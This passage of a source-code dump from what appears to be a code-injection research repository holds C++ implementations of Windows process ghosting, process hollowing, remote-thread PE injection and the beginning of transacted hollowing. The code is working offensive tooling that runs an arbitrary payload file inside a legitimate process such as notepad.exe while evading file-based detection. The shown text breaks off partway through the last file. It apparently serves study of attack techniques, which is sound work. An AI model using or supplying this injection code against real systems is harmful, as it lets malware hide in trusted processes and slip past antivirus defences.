| 110 | // relocate the copy of the image 111 | PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(imageCopy + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 112 | while (baseRelocation->SizeOfBlock > 0) 113 | { 114 | // calculate relocation entries in current block 115 | int numberOfEntries = (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT); 116 | PBASE_RELOCATION_ENTRY relocationEntry = (PBASE_RELOCATION_ENTRY)(baseRelocation + 1); 117 | 118 | // relocate entries of current block 119 | for (int i = 0; i < numberOfEntries; i++) 120 | { 121 | if (relocationEntry[i].Offset) 122 | { 123 | // correct relocation entry by adding the delta between the images 124 | int64_t* relocationEntryAddress = (int64_t*)(imageCopy + baseRelocation->VirtualAddress + relocationEntry[i].Offset); 125 | *relocationEntryAddress += baseAddressDelta; 126 | } 127 | } 128 | baseRelocation = (PIMAGE_BASE_RELOCATION)((int8_t*)baseRelocation + baseRelocation->SizeOfBlock); 129 | } 130 | 131 | printf("[Info] - Relocated image\n"); 132 | 133 | // write relocated copy of image to remote memory 134 | if (!WriteProcessMemory(targetProcessHandle, remoteMemory, imageCopy, ntHeader->OptionalHeader.SizeOfImage, NULL)) 135 | { 136 | printf("[Error] %d - Failed to write .dll path to target process\n", GetLastError()); 137 | return 1; 138 | } 139 | 140 | printf("[Info] - Wrote image to remote process\n"); 141 | 142 | // execute the injected function 143 | int8_t* injectedFunctionRemoteAddress = (int8_t*)InjectedFunction + baseAddressDelta; 144 | 145 | printf("[Info] - Going to execute: %p\n", injectedFunctionRemoteAddress); 146 | 147 | //printf("Press a key to create the remote thread!\n"); 148 | //getchar(); 149 | 150 | HANDLE remoteThreadHandle = CreateRemoteThread(targetProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)injectedFunctionRemoteAddress, NULL, 0, NULL); 151 | if (!remoteThreadHandle) 152 | { 153 | printf("[Error] %d - Failed to CreateRemoteThread\n", GetLastError()); 154 | return 1; 155 | } 156 | 157 | printf("[Info] - Created remote thread. Executing %p\n", injectedFunctionRemoteAddress); 158 | 159 | return 0; 160 | } -------------------------------------------------------------------------------- /pe_injection/process_doppelganging.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fahersto/code_injection/a93fa1d966e16473df9fa5b98464b6435bca68c5/pe_injection/process_doppelganging.cpp -------------------------------------------------------------------------------- /pe_injection/process_ghosting.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Process Ghosting - Inject code into a process by creating a malicious section using a delete pending file. 3 | * Supports 32- and 64 Bit applications. The 64 bit implementation currently does not support copying the environment in the remote process. 4 | * No support for WoW64. Technically possible but using low level API with WoW64 is complicated. One has for example to deal with 2 PEBs. 5 | * Based on: https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack, https://github.com/hasherezade/process_ghosting 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "ntddk.h" 14 | 15 | #define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 16 | #define PS_INHERIT_HANDLES 4 17 | 18 | using fnNtCreateProcessEx = NTSTATUS(NTAPI*)( 19 | _Out_ PHANDLE ProcessHandle, 20 | _In_ ACCESS_MASK DesiredAccess, 21 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 22 | _In_ HANDLE ParentProcess, 23 | _In_ ULONG Flags, 24 | _In_opt_ HANDLE SectionHandle, 25 | _In_opt_ HANDLE DebugPort, 26 | _In_opt_ HANDLE ExceptionPort, 27 | _In_ ULONG JobMemberLevel 28 | ); 29 | 30 | using fnNtCreateThreadEx = NTSTATUS(NTAPI*) ( 31 | OUT PHANDLE ThreadHandle, 32 | IN ACCESS_MASK DesiredAccess, 33 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 34 | IN HANDLE ProcessHandle, 35 | IN PVOID StartRoutine, 36 | IN PVOID Argument OPTIONAL, 37 | IN ULONG CreateFlags, 38 | IN ULONG_PTR ZeroBits, 39 | IN SIZE_T StackSize OPTIONAL, 40 | IN SIZE_T MaximumStackSize OPTIONAL, 41 | IN PVOID AttributeList OPTIONAL 42 | ); 43 | 44 | using fnRtlCreateProcessParametersEx = NTSTATUS(NTAPI*)( 45 | _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, 46 | _In_ PUNICODE_STRING ImagePathName, 47 | _In_opt_ PUNICODE_STRING DllPath, 48 | _In_opt_ PUNICODE_STRING CurrentDirectory, 49 | _In_opt_ PUNICODE_STRING CommandLine, 50 | _In_opt_ PVOID Environment, 51 | _In_opt_ PUNICODE_STRING WindowTitle, 52 | _In_opt_ PUNICODE_STRING DesktopInfo, 53 | _In_opt_ PUNICODE_STRING ShellInfo, 54 | _In_opt_ PUNICODE_STRING RuntimeData, 55 | _In_ ULONG Flags 56 | ); 57 | 58 | fnNtCreateProcessEx NtCreateProcessEx; 59 | fnNtCreateThreadEx NtCreateThreadEx; 60 | fnRtlCreateProcessParametersEx RtlCreateProcessParametersEx; 61 | 62 | int8_t* CreatePayloadBuffer(char* filename, DWORD* filesize) 63 | { 64 | // open payload file 65 | HANDLE payloadFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 66 | if (payloadFile == INVALID_HANDLE_VALUE) 67 | { 68 | printf("[Error] %d - Failed to open payload %s\n", GetLastError(), filename); 69 | return nullptr; 70 | } 71 | 72 | // create a mapping of the payload 73 | HANDLE payloadMapping = CreateFileMapping(payloadFile, 0, PAGE_READONLY, 0, 0, 0); 74 | if (!payloadMapping) 75 | { 76 | printf("[Error] %d - Failed to CreateFileMapping\n", GetLastError()); 77 | CloseHandle(payloadFile); 78 | return nullptr; 79 | } 80 | 81 | // map a view of the payload file into the process 82 | int8_t* payloadDataView = (int8_t*)MapViewOfFile(payloadMapping, FILE_MAP_READ, 0, 0, 0); 83 | if (!payloadDataView) 84 | { 85 | printf("[Error] %d - Failed to MapViewOfFile\n", GetLastError()); 86 | CloseHandle(payloadMapping); 87 | CloseHandle(payloadFile); 88 | return nullptr; 89 | } 90 | 91 | // allocate space for a copy of the payload 92 | *filesize = GetFileSize(payloadFile, 0); 93 | int8_t* payloadFileCopy = (int8_t*)VirtualAlloc(NULL, *filesize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 94 | if (!payloadFileCopy) 95 | { 96 | printf("[Error] %d - Failed to VirtualAlloc\n", GetLastError()); 97 | return nullptr; 98 | } 99 | 100 | // copy payload into allocated memory 101 | memcpy(payloadFileCopy, payloadDataView, *filesize); 102 | 103 | // cleanup 104 | UnmapViewOfFile(payloadDataView); 105 | CloseHandle(payloadMapping); 106 | CloseHandle(payloadFile); 107 | return payloadFileCopy; 108 | } 109 | 110 | HANDLE CreateDirtySectionOfDeletePendingFile(int8_t* payloadBuffer, DWORD payloadSize) 111 | { 112 | // get a temporary file. It only matters that it exists and we can open it (no shared conflict etc.) 113 | wchar_t tempFileName[MAX_PATH]; 114 | wchar_t tempFilePath[MAX_PATH]; 115 | GetTempPathW(MAX_PATH, tempFilePath); 116 | GetTempFileNameW(tempFilePath, L"fhs", 0, tempFileName); 117 | 118 | std::wstring ntTempFileName = L"\\??\\" + std::wstring(tempFileName); 119 | UNICODE_STRING tempFileNameUni; 120 | RtlInitUnicodeString(&tempFileNameUni, ntTempFileName.c_str()); 121 | 122 | OBJECT_ATTRIBUTES objectAttributes; 123 | InitializeObjectAttributes(&objectAttributes, &tempFileNameUni, NULL, NULL, NULL); 124 | 125 | IO_STATUS_BLOCK ioStatusBlock; 126 | HANDLE deletePendingFileHandle = INVALID_HANDLE_VALUE; 127 | if (!NT_SUCCESS(NtOpenFile(&deletePendingFileHandle, 128 | DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, 129 | &objectAttributes, 130 | &ioStatusBlock, 131 | FILE_SHARE_READ | FILE_SHARE_WRITE, 132 | FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT 133 | ))) 134 | { 135 | printf("[Error] - Failed to open temporary file\n"); 136 | return nullptr; 137 | } 138 | 139 | // set delete flag which will delete the file as soon as its closed 140 | FILE_DISPOSITION_INFORMATION fileDispositionInformation = {}; 141 | fileDispositionInformation.DeleteFile = true; 142 | if (!NT_SUCCESS(NtSetInformationFile(deletePendingFileHandle, &ioStatusBlock, &fileDispositionInformation, sizeof(fileDispositionInformation), FileDispositionInformation))) 143 | { 144 | printf("[Error] - Failed to set delete flag on file using NtSetInformationFile\n"); 145 | return nullptr; 146 | } 147 | 148 | printf("[Info] - Set delete flag on temporary file\n"); 149 | 150 | // overwrite content of delete pending file with payload 151 | LARGE_INTEGER byteOffset = {}; 152 | if (!NT_SUCCESS(NtWriteFile(deletePendingFileHandle, NULL, NULL, NULL, &ioStatusBlock, payloadBuffer, payloadSize, &byteOffset, NULL))) 153 | { 154 | printf("[Error] - Failed to write payload into delete pending file\n"); 155 | return nullptr; 156 | } 157 | 158 | printf("[Info] - Wrote payload to delete pending file\n"); 159 | 160 | HANDLE dirtySection = nullptr; 161 | if (!NT_SUCCESS(NtCreateSection(&dirtySection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, deletePendingFileHandle))) 162 | { 163 | printf("[Error] - Failed to create dirty section of delete pending file\n"); 164 | return nullptr; 165 | } 166 | 167 | printf("[Info] - Created dirty section of delete pending file\n"); 168 | 169 | // this indirectly deletes the file due to the delete flag 170 | NtClose(deletePendingFileHandle); 171 | 172 | return dirtySection; 173 | } 174 | 175 | LPVOID WriteParametersIntoRemoteProcess(HANDLE processHandle, PRTL_USER_PROCESS_PARAMETERS processParameters) 176 | { 177 | // determine which local address is lower so we can copy the parameters to a single page 178 | PVOID bufferStart = processParameters < processParameters->Environment ? processParameters : processParameters->Environment; 179 | PVOID bufferEnd = processParameters < processParameters->Environment ? (int8_t*)processParameters + processParameters->Length : (int8_t*)processParameters->Environment + processParameters->EnvironmentSize; 180 | DWORD_PTR bufferSize = (DWORD_PTR)bufferEnd - (DWORD_PTR)bufferStart; 181 | 182 | PVOID remoteMemory = VirtualAllocEx(processHandle, bufferStart, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 183 | if (!remoteMemory) 184 | { 185 | printf("[Error] %d - Failed to VirtualAllocEx at address %p\n", GetLastError(), bufferStart); 186 | return nullptr; 187 | } 188 | 189 | if (!WriteProcessMemory(processHandle, processParameters, processParameters, processParameters->Length, nullptr)) 190 | { 191 | printf("[Error] %d - Failed to write PRTL_USER_PROCESS_PARAMETERS to remote process\n", GetLastError()); 192 | return nullptr; 193 | } 194 | 195 | #ifdef _WIN64 196 | printf("[Warning] - The current x64 implemenation does not support copying the environment since writing the environment to the remote process fails\n"); 197 | #else 198 | if (processParameters->Environment) 199 | { 200 | if (!WriteProcessMemory(processHandle, processParameters->Environment, processParameters->Environment, processParameters->EnvironmentSize, nullptr)) 201 | { 202 | printf("[Error] %d - Failed to write environment to remote process\n", GetLastError()); 203 | return nullptr; 204 | } 205 | } 206 | #endif 207 | return processParameters; 208 | } 209 | 210 | bool SetupProcessParameters(HANDLE processHandle, PROCESS_BASIC_INFORMATION& processBasicInformation, char* targetPath) 211 | { 212 | // initialise process parameters 213 | ANSI_STRING targetPathAnsi; 214 | UNICODE_STRING targetPathUni; 215 | UNICODE_STRING uWindowName; 216 | UNICODE_STRING dllPathUni; 217 | UNICODE_STRING currentDirectoryPathUni; 218 | 219 | wchar_t dllPath[] = L"C:\\Windows\\System32"; 220 | wchar_t windowName[] = L"Process Ghosting"; 221 | wchar_t currentDirectoryPath[MAX_PATH]; 222 | GetCurrentDirectoryW(MAX_PATH, currentDirectoryPath); 223 | 224 | RtlInitUnicodeString(&uWindowName, windowName); 225 | RtlInitUnicodeString(¤tDirectoryPathUni, currentDirectoryPath); 226 | RtlInitUnicodeString(&dllPathUni, dllPath); 227 | RtlInitAnsiString(&targetPathAnsi, targetPath); 228 | RtlAnsiStringToUnicodeString(&targetPathUni, &targetPathAnsi, TRUE); 229 | 230 | LPVOID environment; 231 | CreateEnvironmentBlock(&environment, NULL, TRUE); 232 | 233 | PRTL_USER_PROCESS_PARAMETERS processParameters = nullptr; 234 | if (!NT_SUCCESS(RtlCreateProcessParametersEx(&processParameters, &targetPathUni, &dllPathUni, ¤tDirectoryPathUni, &targetPathUni, environment, &uWindowName, nullptr, nullptr, nullptr, RTL_USER_PROC_PARAMS_NORMALIZED))) 235 | { 236 | printf("[Error] - Failed to RtlCreateProcessParametersEx\n"); 237 | return false; 238 | } 239 | 240 | // write process parameters into the remote process 241 | LPVOID remoteProcessParameters = WriteParametersIntoRemoteProcess(processHandle, processParameters); 242 | if (!remoteProcessParameters) 243 | { 244 | printf("[Error] - Failed to write process parameters into remote process\n"); 245 | return false; 246 | } 247 | 248 | int8_t* remoteProcessParameterAddress = (int8_t*)processBasicInformation.PebBaseAddress + offsetof(PEB, ProcessParameters); 249 | 250 | // update pointer to process parameters in remote PEB 251 | if (!WriteProcessMemory(processHandle, remoteProcessParameterAddress, &remoteProcessParameters, sizeof(PVOID), nullptr)) 252 | { 253 | printf("[Error] %d - Failed to write process parameters into remote PEB\n", GetLastError()); 254 | return false; 255 | } 256 | 257 | return true; 258 | } 259 | 260 | bool Ghost(char* targetPath, int8_t* payloadBuffer, DWORD payloadSize) 261 | { 262 | HANDLE dirtySectionHandle = CreateDirtySectionOfDeletePendingFile(payloadBuffer, payloadSize); 263 | if (!dirtySectionHandle) 264 | { 265 | printf("[Error] - Failed to create dirty section from delete pending file\n"); 266 | return false; 267 | } 268 | 269 | printf("[Info] - Created dirty section with handle %p\n", dirtySectionHandle); 270 | 271 | HANDLE processHandle = nullptr; 272 | if (!NT_SUCCESS(NtCreateProcessEx(&processHandle, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, dirtySectionHandle, NULL, NULL, FALSE))) 273 | { 274 | printf("[Error] - Failed to NtCreateProcessEx using dirty section"); 275 | return false; 276 | } 277 | 278 | DWORD returnLength = 0; 279 | 280 | // get entry point offset of payload 281 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payloadBuffer; 282 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(payloadBuffer + dosHeader->e_lfanew); 283 | DWORD entryPoint = ntHeader->OptionalHeader.AddressOfEntryPoint; 284 | 285 | // get address of remote image base 286 | PROCESS_BASIC_INFORMATION processBasicInformation = {}; 287 | NTSTATUS error = NtQueryInformationProcess(processHandle, ProcessBasicInformation, &processBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); 288 | if (error) 289 | { 290 | printf("[Error] %d - Failed to query process basic information\n", GetLastError()); 291 | return 1; 292 | } 293 | 294 | int8_t* imageBaseAddress = (int8_t*)processBasicInformation.PebBaseAddress + 2 * sizeof(void*); 295 | 296 | // read remote image base 297 | DWORD_PTR imageBase; 298 | if (!ReadProcessMemory(processHandle, imageBaseAddress, &imageBase, sizeof(void*), nullptr)) 299 | { 300 | printf("[Error] %d - Failed to read remote image base address\n", GetLastError()); 301 | } 302 | 303 | DWORD_PTR payloadEntryPoint = imageBase + entryPoint; 304 | 305 | printf("[Info] - Payload entry point %llx\n", payloadEntryPoint); 306 | 307 | if (!SetupProcessParameters(processHandle, processBasicInformation, targetPath)) 308 | { 309 | printf("[Error] - Failed to SetupProcessParameters\n"); 310 | return false; 311 | } 312 | 313 | HANDLE threadHandle = NULL; 314 | if (!NT_SUCCESS(NtCreateThreadEx(&threadHandle, THREAD_ALL_ACCESS, NULL, processHandle, (LPTHREAD_START_ROUTINE)payloadEntryPoint, NULL, FALSE, 0, 0, 0, NULL))) 315 | { 316 | printf("[Error] - Failed to NtCreateThreadEx\n"); 317 | return false; 318 | } 319 | 320 | printf("[Info] - Created thread executing %llx\n", payloadEntryPoint); 321 | 322 | return true; 323 | } 324 | 325 | int main(int argc, char* argv[]) 326 | { 327 | char* applicationPath = "C:\\Windows\\System32\\notepad.exe"; 328 | char* payloadPath = ""; 329 | 330 | if (argc == 2) 331 | { 332 | printf("[Info] - Using default target: %s\n", applicationPath); 333 | payloadPath = argv[1]; 334 | } 335 | if (argc == 3) 336 | { 337 | applicationPath = argv[1]; 338 | payloadPath = argv[2]; 339 | } 340 | 341 | if (argc != 2 && argc != 3) 342 | { 343 | printf("Usage: *.exe [applicationPath] payloadPath\n"); 344 | return 1; 345 | } 346 | 347 | HMODULE ntdllHandle = LoadLibraryA("ntdll.dll"); 348 | if (!ntdllHandle) 349 | { 350 | printf("[Error] %d - Failed to LoadLibraryA ntdll\n", GetLastError()); 351 | return 1; 352 | } 353 | NtCreateProcessEx = (fnNtCreateProcessEx)GetProcAddress(ntdllHandle, "NtCreateProcessEx"); 354 | NtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(ntdllHandle, "NtCreateThreadEx"); 355 | RtlCreateProcessParametersEx = (fnRtlCreateProcessParametersEx)GetProcAddress(ntdllHandle, "RtlCreateProcessParametersEx"); 356 | 357 | if (!RtlCreateProcessParametersEx || !NtCreateProcessEx || !NtCreateThreadEx) 358 | { 359 | printf("[Error] - Failed to resolve NtCreateProcessEx, NtCreateThreadEx or RtlCreateProcessParametersEx\n"); 360 | return 1; 361 | } 362 | 363 | DWORD payloadSize; 364 | int8_t* payloadBuffer = CreatePayloadBuffer(payloadPath, &payloadSize); 365 | if (!payloadBuffer) 366 | { 367 | printf("[Error] - Failed to read payload\n"); 368 | return 1; 369 | } 370 | 371 | printf("[Info] - Created payload buffer at %p\n", payloadBuffer); 372 | 373 | if (!Ghost(applicationPath, payloadBuffer, payloadSize)) 374 | { 375 | printf("[Error] - Failed process ghosting\n"); 376 | return 1; 377 | } 378 | 379 | return 0; 380 | } -------------------------------------------------------------------------------- /pe_injection/process_hollowing.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Demonstrates process hollowing by injecting itself into a process that is created in a suspended state. 3 | * Supports 32- and 64 Bit applications. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | 11 | typedef struct BASE_RELOCATION_BLOCK { 12 | DWORD PageAddress; 13 | DWORD BlockSize; 14 | } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; 15 | 16 | typedef struct BASE_RELOCATION_ENTRY { 17 | USHORT Offset : 12; 18 | USHORT Type : 4; 19 | } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; 20 | 21 | using NtUnmapViewOfSection = NTSTATUS(WINAPI*)( 22 | HANDLE ProcessHandle, 23 | PVOID BaseAddress 24 | ); 25 | 26 | using NtQueryInformationProcess = NTSTATUS(WINAPI*)( 27 | HANDLE ProcessHandle, 28 | DWORD ProcessInformationClass, 29 | PVOID ProcessInformation, 30 | ULONG ProcessInformationLength, 31 | PULONG ReturnLength 32 | ); 33 | 34 | void InjectedFunction() 35 | { 36 | MessageBoxA(NULL, "Message from payload", "Injected payload", MB_OK); 37 | } 38 | 39 | int main(int argc, char* argv[]) 40 | { 41 | if (argc != 2) 42 | { 43 | printf("Usage: *.exe applicationPath\n"); 44 | return 1; 45 | } 46 | 47 | char* applicationPath = argv[1]; 48 | 49 | STARTUPINFOA startupInfo = STARTUPINFOA(); 50 | PROCESS_INFORMATION processInformation = PROCESS_INFORMATION(); 51 | 52 | // create the process in a suspended state 53 | if (!CreateProcessA(0, 54 | applicationPath, 55 | 0, 56 | 0, 57 | 0, 58 | CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, 59 | 0, 60 | 0, 61 | &startupInfo, 62 | &processInformation)) 63 | { 64 | printf("[Error] %d - Failed to create process using application %s\n", GetLastError(), applicationPath); 65 | return 1; 66 | } 67 | 68 | HMODULE ntdllHandle = GetModuleHandleA("ntdll"); 69 | //NtUnmapViewOfSection fnNtUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(ntdllHandle, "NtUnmapViewOfSection"); 70 | //NtQueryInformationProcess fnNtQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdllHandle, "NtQueryInformationProcess"); 71 | 72 | 73 | // unmapping currently makes it unstable and is an optional step in process hollowing 74 | // fnNtUnmapViewOfSection(processHandle, peb.ImageBaseAddress); 75 | 76 | // read PE header of payload (this process injects itself, alternatively an executable file from disc could be read) 77 | HMODULE baseAddress = GetModuleHandle(NULL); 78 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress; 79 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((int8_t*)baseAddress + dosHeader->e_lfanew); 80 | 81 | // create space for a copy of the image so we can relocate it locally and then write it to the target process 82 | int8_t* imageCopy = (int8_t*)malloc(ntHeader->OptionalHeader.SizeOfImage); 83 | if (!imageCopy) 84 | { 85 | printf("[Error] %d - Failed to allocate space for the PE header\n", GetLastError()); 86 | return 1; 87 | } 88 | 89 | // create a copy of the image 90 | memcpy(imageCopy, baseAddress, ntHeader->OptionalHeader.SizeOfImage); 91 | 92 | // allocate remote memory 93 | LPVOID remoteMemory = VirtualAllocEx(processInformation.hProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 94 | if (!remoteMemory) 95 | { 96 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 97 | return 1; 98 | } 99 | 100 | printf("[Info] - Allocated remote memory at %p\n", remoteMemory); 101 | 102 | // calculate the difference between the original base address and the remote memory as we need to account for it when relocating 103 | int64_t baseAddressDelta = (int64_t)remoteMemory - (int64_t)baseAddress; 104 | 105 | printf("[Info] - Image baseAddress: %p, remoteAddress: %p, absoluteDelta: %llx\n", baseAddress, remoteMemory, abs(baseAddressDelta)); 106 | 107 | // relocate the copy of the image 108 | PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(imageCopy + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 109 | while (baseRelocation->SizeOfBlock > 0) 110 | { 111 | // calculate relocation entries in current block 112 | int numberOfEntries = (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT); 113 | PBASE_RELOCATION_ENTRY relocationEntry = (PBASE_RELOCATION_ENTRY)(baseRelocation + 1); 114 | 115 | // relocate entries of current block 116 | for (int i = 0; i < numberOfEntries; i++) 117 | { 118 | if (relocationEntry[i].Offset) 119 | { 120 | // correct relocation entry by adding the delta between the images 121 | int64_t* relocationEntryAddress = (int64_t*)(imageCopy + baseRelocation->VirtualAddress + relocationEntry[i].Offset); 122 | *relocationEntryAddress += baseAddressDelta; 123 | } 124 | } 125 | baseRelocation = (PIMAGE_BASE_RELOCATION)((int8_t*)baseRelocation + baseRelocation->SizeOfBlock); 126 | } 127 | 128 | printf("[Info] - Relocated image\n"); 129 | 130 | // write relocated copy of image to remote memory 131 | if (!WriteProcessMemory(processInformation.hProcess, remoteMemory, imageCopy, ntHeader->OptionalHeader.SizeOfImage, NULL)) 132 | { 133 | printf("[Error] %d - Failed to write .dll path to target process\n", GetLastError()); 134 | return 1; 135 | } 136 | 137 | printf("[Info] - Wrote relocated image to remote process\n"); 138 | 139 | // execute the injected function 140 | int8_t* injectedFunctionRemoteAddress = (int8_t*)InjectedFunction + baseAddressDelta; 141 | 142 | printf("[Info] - Going to execute: %p using thread hijacking\n", injectedFunctionRemoteAddress); 143 | 144 | CONTEXT context = CONTEXT(); 145 | context.ContextFlags = CONTEXT_ALL; 146 | if (!GetThreadContext(processInformation.hThread, &context)) 147 | { 148 | printf("[Error] %d - Failed GetThreadContext\n", GetLastError()); 149 | return 1; 150 | } 151 | 152 | #ifdef _WIN64 153 | // for 32bit the address to be executed is in RCX when creating a suspended process 154 | // RIP did also work 155 | context.Rcx = (DWORD_PTR)injectedFunctionRemoteAddress; 156 | #else 157 | // for 32bit the address to be executed is in EAX when creating a suspended process 158 | context.Eax = (DWORD_PTR)injectedFunctionRemoteAddress; 159 | #endif 160 | 161 | if (!SetThreadContext(processInformation.hThread, &context)) 162 | { 163 | printf("[Error] %d - Failed SetThreadContext\n", GetLastError()); 164 | return 1; 165 | } 166 | 167 | printf("[Info] - Resuming hijacked thread\n"); 168 | 169 | if (!ResumeThread(processInformation.hThread)) 170 | { 171 | printf("[Error] %d - Failed ResumeThread\n", GetLastError()); 172 | return 1; 173 | } 174 | 175 | return 0; 176 | } -------------------------------------------------------------------------------- /pe_injection/transacted_hollowing.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Demonstrates transacted hollowing. A combination of process hollowing and process doppelganging. 3 | * Supports 32- and 64 Bit applications. 4 | * Based on: https://blog.malwarebytes.com/threat-analysis/2018/08/process-doppelganging-meets-process-hollowing_osiris/ 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "../common/ntddk.h" 13 | 14 | 15 | int8_t* CreatePayloadBuffer(char* filename, DWORD* filesize) 16 | { 17 | // open payload file 18 | HANDLE payloadFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 19 | if (payloadFile == INVALID_HANDLE_VALUE) 20 | { 21 | printf("[Error] %d - Failed to open payload %s\n", GetLastError(), filename); 22 | return nullptr; 23 | } 24 | 25 | // create a mapping of the payload 26 | HANDLE payloadMapping = CreateFileMapping(payloadFile, 0, PAGE_READONLY, 0, 0, 0); 27 | if (!payloadMapping) 28 | { 29 | printf("[Error] %d - Failed to CreateFileMapping\n", GetLastError()); 30 | CloseHandle(payloadFile); 31 | return nullptr; 32 | } 33 | 34 | // map a view of the payload file into the process 35 | int8_t* payloadDataView = (int8_t*)MapViewOfFile(payloadMapping, FILE_MAP_READ, 0, 0, 0); 36 | if (!payloadDataView) 37 | { 38 | printf("[Error] %d - Failed to MapViewOfFile\n", GetLastError()); 39 | CloseHandle(payloadMapping); 40 | CloseHandle(payloadFile); 41 | return nullptr; 42 | } 43 | 44 | // allocate space for a copy of the payload 45 | *filesize = GetFileSize(payloadFile, 0); 46 | int8_t* payloadFileCopy = (int8_t*)VirtualAlloc(NULL, *filesize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 47 | if (!payloadFileCopy) 48 | { 49 | printf("[Error] %d - Failed to VirtualAlloc\n", GetLastError()); 50 | return nullptr; 51 | } 52 | 53 | // copy payload into allocated memory 54 | memcpy(payloadFileCopy, payloadDataView, *filesize); 55 | 56 | // cleanup 57 | UnmapViewOfFile(payloadDataView); 58 | CloseHandle(payloadMapping); 59 | CloseHandle(payloadFile); 60 | return payloadFileCopy; 61 | } 62 | 63 | HANDLE CreateDirtySectionOfCleanFile(int8_t* payloadBuffer, DWORD payloadSize) 64 | { 65 | // create transaction to be rolled back later 66 | HANDLE transaction = CreateTransaction(nullptr, nullptr, 0, 0, 0, 0, nullptr); 67 | if (transaction == INVALID_HANDLE_VALUE) 68 | { 69 | printf("[Error] %d - Failed to CreateTransaction\n", GetLastError()); 70 | return nullptr; 71 | } 72 | 73 | // open a clean file transacted 74 | HANDLE transactedFile = CreateFileTransacted("svchost.exe", 75 | GENERIC_WRITE | GENERIC_READ, 76 | 0, 77 | nullptr, 78 | CREATE_ALWAYS, 79 | FILE_ATTRIBUTE_NORMAL, 80 | nullptr, 81 | transaction, 82 | nullptr, 83 | nullptr 84 | ); 85 | if (transactedFile == INVALID_HANDLE_VALUE) 86 | { 87 | printf("[Error] %d - Failed to CreateFileTransacted\n", GetLastError()); 88 | return nullptr; 89 | } 90 | 91 | // overwrite file with malicious payload 92 | DWORD numberOfBytesWritten; 93 | if (!WriteFile(transactedFile, payloadBuffer, payloadSize, &numberOfBytesWritten, nullptr)) 94 | { 95 | printf("[Error] %d - Failed to WriteFile\n", GetLastError()); 96 | return nullptr; 97 | } 98 | 99 | // create a dirty section 100 | HANDLE section = nullptr; 101 | if (!NT_SUCCESS(NtCreateSection(§ion, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, transactedFile))) 102 | { 103 | printf("[Error] - Failed to NtCreateSection for malicious executable\n"); 104 | return nullptr; 105 | } 106 | CloseHandle(transactedFile); 107 | 108 | // rollback transaction so file system is clean again while we still have a dirty section 109 | if (!RollbackTransaction(transaction)) 110 | { 111 | printf("[Error] %d - Failed to RollbackTransaction\n", GetLastError()); 112 | return nullptr; 113 | } 114 | CloseHandle(transaction); 115 | return section; 116 | } 117 | 118 | int main(int argc, char* argv[]) 119 | { 120 | char* applicationPath = "C:\\Windows\\System32\\notepad.exe"; 121 | char* payloadPath = ""; 122 | 123 | if (argc == 2) 124 | { 125 | printf("[Info] - Using default target: %s\n", applicationPath); 126 | payloadPath = argv[1]; 127 | } 128 | if (argc == 3) 129 | { 130 | applicationPath = argv[1]; 131 | payloadPath = argv[2]; 132 | } 133 | 134 | if (argc != 2 && argc != 3) 135 | { 136 | printf("Usage: *.exe [applicationPath] payloadPath\n"); 137 | return 1; 138 | } 139 | 140 | STARTUPINFOA startupInfo = STARTUPINFOA(); 141 | PROCESS_INFORMATION processInformation = PROCESS_INFORMATION(); 142 | 143 | // create the process in a suspended state 144 | if (!CreateProcessA(0, 145 | applicationPath, 146 | 0, 147 | 0, 148 | 0, 149 | CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, 150 | 0, 151 | 0, 152 | &startupInfo, 153 | &processInformation)) 154 | { 155 | printf("[Error] %d - Failed to create process using application %s\n", GetLastError(), applicationPath); 156 | return 1; 157 | } 158 